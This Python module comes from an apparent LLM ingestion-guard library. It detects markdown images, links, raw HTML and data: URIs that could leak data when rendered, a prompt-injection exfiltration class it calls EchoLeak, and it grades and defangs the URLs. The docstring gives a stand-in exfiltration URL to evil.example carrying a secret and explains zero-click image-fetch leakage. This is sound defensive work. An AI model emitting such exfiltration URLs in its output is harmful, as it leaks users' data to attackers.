llm-ingestion-pipeline-security/src/llm_ingestion_guard/active_content.py

"""active_content — report-only detection of active content (the EchoLeak class).

Query-time guardrails guard the answer; this guards the *persisted artifact*.
Active-content constructs in persisted text become an exfiltration channel the
moment a renderer touches them: a markdown image URL is auto-fetched zero-click
(the EchoLeak class, CVE-2025-32711), a link invites the click, raw active HTML
executes. ``lexicon`` and ``entropy`` cannot see these carriers — they are
neither injection strings nor high-entropy blobs — so this detector is the
gate's coverage for OWASP LLM05 (Improper Output Handling).

This module is the canonical home of the active-content pattern table. Two
consumers share it:

* :func:`scan_active_content` (here) — **report-only**: findings feed
  ``scan_output`` and thence disposition; the text is never touched.
* :func:`~llm_ingestion_guard.neutralize.neutralize` — the separate, opt-in
  **mutator** that defangs the same constructs for human audit.

One deliberate asymmetry between the two: the scanner flags markdown images and
links only when the URL is absolute or protocol-relative. A relative in-document
link has no attacker-reachable endpoint, and flagging it would silently
over-block legitimate wiki/OKF content (design principle 5) — cross-linking is
those formats' core mechanism. ``neutralize`` keeps its broader defang-anything
behavior: it is opt-in, and bracketed dots in a relative path are auditable,
not blocking.

**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" — it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
outward, so grading it like ``![x](https://evil.example/leak?d=SECRET)`` made
ordinary documents unpersistable on the upload preset (measured on v0.3.0: every
document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
a query, userinfo, percent-escapes, or an opaque host label / path segment —
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
ordinary form and stay HIGH unconditionally: they are active whatever the URL.

The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
credential in a URL is caught by the secret-egress patterns in the same
``scan_output`` pass regardless of the severity assigned here. The residual
holes it leaves — pure beaconing, short opaque segments — are documented in
``docs/LIMITATIONS.md`` rather than papered over.

Scan order mirrors ``neutralize``'s pass order, with each matched construct
masked out of the working text before the next pass — so a construct is counted
once by its most specific class (an image is not also a link; an autolink is
not also raw HTML), exactly as the sequential rewrites guarantee in the mutator.

**Evidence hygiene:** a finding's ``evidence`` carries the *defanged* URL
(``hxxps://evil[.]example``) — the report must be safe to log and render
without recreating the affordance it flagged.
"""
from __future__ import annotations

import re
from urllib.parse import urlsplit

from .calibration import (
    ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
    ACTIVE_CONTENT_SEVERITY as _SEVERITY,
    URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
    URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
    URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
)
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
from .report import Finding, Report, Source

# --- URL defang (shared primitive) -------------------------------------------
# Rewrite a URL to a form no renderer will resolve, while keeping it readable.
# Dangerous schemes (data:, javascript:, ...) get their colon neutralized;
# network schemes get the classic threat-intel treatment (hxxp / hxxps).
_DANGER_SCHEME_RE = re.compile(r"^(javascript|data|vbscript|file|blob)(?=:)", re.IGNORECASE)
_SCHEME_SUBS = (
    (re.compile(r"^https", re.IGNORECASE), "hxxps"),
    (re.compile(r"^http", re.IGNORECASE), "hxxp"),
    (re.compile(r"^ftp", re.IGNORECASE), "fxp"),
)
# Dot-defang that is idempotent: never touches a `.` already inside `[.]`.
_DOT_RE = re.compile(r"(?<!\[)\.(?!\])")
# A bare http(s)/ftp URL embedded in other text (used inside escaped HTML).
URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]*://[^\s'\"<>]+")


def defang_url(url: str) -> str:
    """Rewrite ``url`` to a non-resolvable, human-auditable form. Idempotent."""
    m = _DANGER_SCHEME_RE.match(url)
    if m:
        url = url[: m.end(1)] + "[:]" + url[m.end(1) + 1 :]
    else:
        for pattern, repl in _SCHEME_SUBS:
            url, n = pattern.subn(repl, url)
            if n:
                break
    return _DOT_RE.sub("[.]", url)


def redact(s: str, show_start: int = 16, show_end: int = 6) -> str:
    """Shorten evidence to its ends — long payloads never land whole in a log."""
    if len(s) <= show_start + show_end + 3:
        return s
    return f"{s[:show_start]}...{s[-show_end:]}"


# --- active-content constructs (the shared pattern table) ---------------------
#
# ReDoS note (OWASP LLM10) — every run below excludes the character that OPENS
# this pattern's own anchor: `[` for the markdown forms, `<` for the autolink and
# the raw tag. That exclusion is what keeps the table linear, and it is not
# cosmetic. Each of these is a run followed by a REQUIRED literal (`]`, `)`,
# `>`); if the run may cross the next anchor, then crafted input that repeats the
# anchor and never supplies the literal makes every start position rescan the
# whole tail — quadratic time, no nested quantifier needed. Measured before the
# exclusions: `<a:` x 100_000 took 23.4s in AUTOLINK_RE alone and ~5.7 HOURS
# extrapolated to the 1_000_000-char cap the gate accepts. With the exclusion a
# run cannot reach past the next anchor, so the per-start costs telescope.
# Bounding the runs instead ({0,256}) would also be linear but is the WRONG fix
# here: the content is attacker-controlled, so padding past the bound would be a
# one-line detection bypass of the very EchoLeak class this table exists to
# catch. See tests/test_output.py::test_crafted_redos_payload_stays_bounded.
#
# Markdown image / inline link: `[text](url "title")`. `url` stops at the first
# `)` or whitespace (balanced-paren URLs matched conservatively — see the
# neutralize scope note). `[` is excluded per the ReDoS note above; a URL that
# needs a literal `[` (an IPv6 host literal) must percent-encode it anyway.
MD_IMAGE_RE = re.compile(
    r"!\[(?P<alt>[^\]\[]*)\]\(\s*(?P<url>[^)\s\[]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
)
MD_LINK_RE = re.compile(
    r"(?<!!)\[(?P<text>[^\]\[]*)\]\(\s*(?P<url>[^)\s\[]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
)
# Reference-style link definition: `[label]: destination`. Only fires when the
# destination is absolute (has a scheme or is protocol-relative) — a footnote
# `[1]: some plain text` is not a link target and is left alone.
MD_REFDEF_RE = re.compile(
    r"(?m)^(?P<pre>[ ]{0,3}\[[^\]\[]+\]:\s*)(?P<url>[A-Za-z][\w+.\-]*:\S+|//\S+)"
)
# Angle-bracket autolink: `<scheme:...>`. A URL inside `<...>` cannot contain a
# raw `<`, so excluding it costs no recall (verified) and bounds the run.
AUTOLINK_RE = re.compile(r"<(?P<url>[A-Za-z][A-Za-z0-9+.\-]*:[^>\s<]+)>")
# Standalone `data:` URI in prose (not preceded by a letter/digit -> "metadata:"
# is not a match), consuming to the next whitespace / quote / bracket.
DATA_URI_RE = re.compile(r"(?<![A-Za-z0-9])data:[^\s'\"<>)]+", re.IGNORECASE)

# Raw HTML tag. Attribute values may hold `>` inside quotes, so quoted runs are
# consumed atomically. A tag is *active* if it is an inherently-executing element,
# carries an event handler, or carries a URL-bearing attribute. The unquoted-char
# branch excludes `<` per the ReDoS note above — a raw `<` cannot appear in an
# unquoted attribute region anyway, and a `<` inside a QUOTED value is still
# consumed by the quoted branches, so this costs no recall (verified).
HTML_TAG_RE = re.compile(r"<(?P<slash>/?)(?P<name>[A-Za-z][A-Za-z0-9:-]*)(?P<attrs>(?:[^>\"'<]|\"[^\"]*\"|'[^']*')*)>")
_EVENT_ATTR_RE = re.compile(r"\bon[a-z]+\s*=", re.IGNORECASE)
_URL_ATTR_RE = re.compile(
    r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\s*=",
    re.IGNORECASE,
)
_ACTIVE_TAGS = frozenset({
    "script", "iframe", "object", "embed", "svg", "math", "link", "meta", "base",
    "form", "img", "input", "button", "video", "audio", "source", "track", "a",
    "area", "frame", "frameset", "applet", "style",
})


def is_active_tag(name: str, attrs: str) -> bool:
    """True if an HTML tag is active: executing element, event handler, or URL attr."""
    return bool(
        name.lower() in _ACTIVE_TAGS
        or _EVENT_ATTR_RE.search(attrs)
        or _URL_ATTR_RE.search(attrs)
    )


# Absolute (`scheme:`) or protocol-relative (`//`) URL — an attacker-reachable
# target. Relative paths resolve against the rendering host and carry no
# exfiltration affordance, so the scanner leaves them alone.
_EXTERNAL_URL_RE = re.compile(r"^(?:[A-Za-z][A-Za-z0-9+.\-]*:|//)")


def _has_external_target(url: str) -> bool:
    return bool(_EXTERNAL_URL_RE.match(url))


def _always(url: str) -> bool:
    # REFDEF is absolute-only by regex; AUTOLINK carries a scheme by
    # construction; a `data:` URI is its own scheme.
    return True


# --- URL shape: can this URL carry data outward? -----------------------------
# Only http(s) and protocol-relative URLs have an "ordinary" form. Every other
# scheme (javascript:, data:, file:, ftp:, ...) is active or fetches out-of-band
# on its own terms and never grades down.
_ORDINARY_SCHEME_RE = re.compile(r"^(?:https?://|//)", re.IGNORECASE)
# Host labels and path segments: the separators that delimit a *name*. A token
# that survives this split and still looks like a blob is carried data.
_URL_TOKEN_RE = re.compile(r"[/._\-~+,;:=&$!*'()]+")


def _is_opaque(token: str) -> bool:
    """True if a URL token looks like carried data rather than a name.

    Three reused ``entropy`` signals, cheapest first: base64 that decodes to
    printable text (the encoding an exfil path actually uses), a hex id at the
    URL-token floor, and — as a backstop for random-looking tokens that are
    neither — length-paired Shannon entropy.
    """
    if try_decode_base64(token) is not None:
        return True
    if len(token) >= _OPAQUE_HEX_LEN and is_hex_blob(token):
        return True
    return len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H


def is_ordinary_url(url: str) -> bool:
    """True if ``url`` merely *names* a remote document, carrying nothing outward.

    Ordinary means all of: an http(s) or protocol-relative scheme, no query, no
    userinfo, no percent-escapes, and no opaque host label or path segment.

    The fragment is deliberately excluded from the test: it is never sent to the
    server, so it cannot carry data to the host that a renderer auto-fetches —
    ``…/overview#prerequisites`` is the single most common shape in real
    documentation. Percent-escapes count as carrying, which grades a legitimate
    ``%20`` in a path as data-carrying; that false positive is accepted and
    documented (``docs/LIMITATIONS.md``) because obfuscated encoding is a core
    exfil primitive and the ambiguous case belongs on the review side.
    """
    if not _ORDINARY_SCHEME_RE.match(url):
        return False
    try:
        parts = urlsplit(url)
    except ValueError:  # malformed authority (bad IPv6, bad port) -> never ordinary
        return False
    if parts.query or parts.username or parts.password:
        return False
    # `netloc`, not `hostname`: the latter lowercases, which would destroy the
    # mixed case a base64 payload smuggled into a subdomain depends on. Userinfo
    # is already rejected above, so what is left is host[:port].
    named = parts.netloc + parts.path
    if "%" in named:
        return False
    return not any(_is_opaque(token) for token in _URL_TOKEN_RE.split(named) if token)


# Per-construct severities (_SEVERITY, imported above) live in `calibration` —
# zero-click auto-fetch/execute -> HIGH, click-required -> MEDIUM — the Node port
# shares them.


def scan_active_content(text: str, source: Source = Source.OUTPUT) -> Report:
    """Report active-content constructs with an external target in ``text``.

    Report-only (design principles 3 & 4): the input is never mutated and no
    disposition is rendered here. Labels are ``active:<class>``; severities
    mirror ``neutralize``'s (image / raw-html / data-uri HIGH, links MEDIUM).
    """
    report = Report()

    def _flag(cls: str, hits: list[tuple[str, bool]]) -> None:
        """Report one finding for ``cls``, graded by its *worst* member.

        A class collapses to a single finding, so an exfil-shaped URL hiding
        behind an ordinary one must set both the severity and the evidence —
        otherwise the report would show an innocent URL next to a HIGH verdict.
        """
        carrying = [evidence for evidence, ordinary in hits if not ordinary]
        report.add(Finding(
            label=f"active:{cls}",
            severity=_SEVERITY[cls] if carrying else _ORDINARY_SEVERITY,
            source=source, detector="active_content", count=len(hits),
            evidence=redact(carrying[0] if carrying else hits[0][0]), owasp="LLM05",
        ))

    masked = text

    def _scan(pattern: re.Pattern[str], url_group, keep) -> list[tuple[str, bool]]:
        """Collect ``(defanged url, is_ordinary)`` for kept matches; mask every
        match with spaces (same length, so line structure and later offsets
        survive)."""
        nonlocal masked
        hits: list[tuple[str, bool]] = []

        def _sub(m: re.Match[str]) -> str:
            url = m.group(url_group)
            if keep(url):
                hits.append((defang_url(url), is_ordinary_url(url)))
            return " " * len(m.group(0))

        masked = pattern.sub(_sub, masked)
        return hits

    # Pass order mirrors neutralize: images first (consumes the leading `!`),
    # then links, refdefs, autolinks, raw HTML, and standalone data: URIs.
    imgs = _scan(MD_IMAGE_RE, "url", _has_external_target)
    if imgs:
        _flag("markdown-image", imgs)

    links = _scan(MD_LINK_RE, "url", _has_external_target)
    if links:
        _flag("markdown-link", links)

    refs = _scan(MD_REFDEF_RE, "url", _always)
    if refs:
        _flag("reference-link", refs)

    autos = _scan(AUTOLINK_RE, "url", _always)
    if autos:
        _flag("autolink", autos)

    # Raw HTML is active whatever its URL looks like (an event handler needs no
    # URL at all), so every tag is flagged as carrying — no ordinary form.
    html: list[tuple[str, bool]] = []

    def _tag(m: re.Match[str]) -> str:
        if not is_active_tag(m.group("name"), m.group("attrs") or ""):
            return m.group(0)
        html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
        return " " * len(m.group(0))

    masked = HTML_TAG_RE.sub(_tag, masked)
    if html:
        _flag("raw-html", html)

    # A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
    # outright, so this stays HIGH through the same path as the rest.
    datas = _scan(DATA_URI_RE, 0, _always)
    if datas:
        _flag("data-uri", datas)

    return report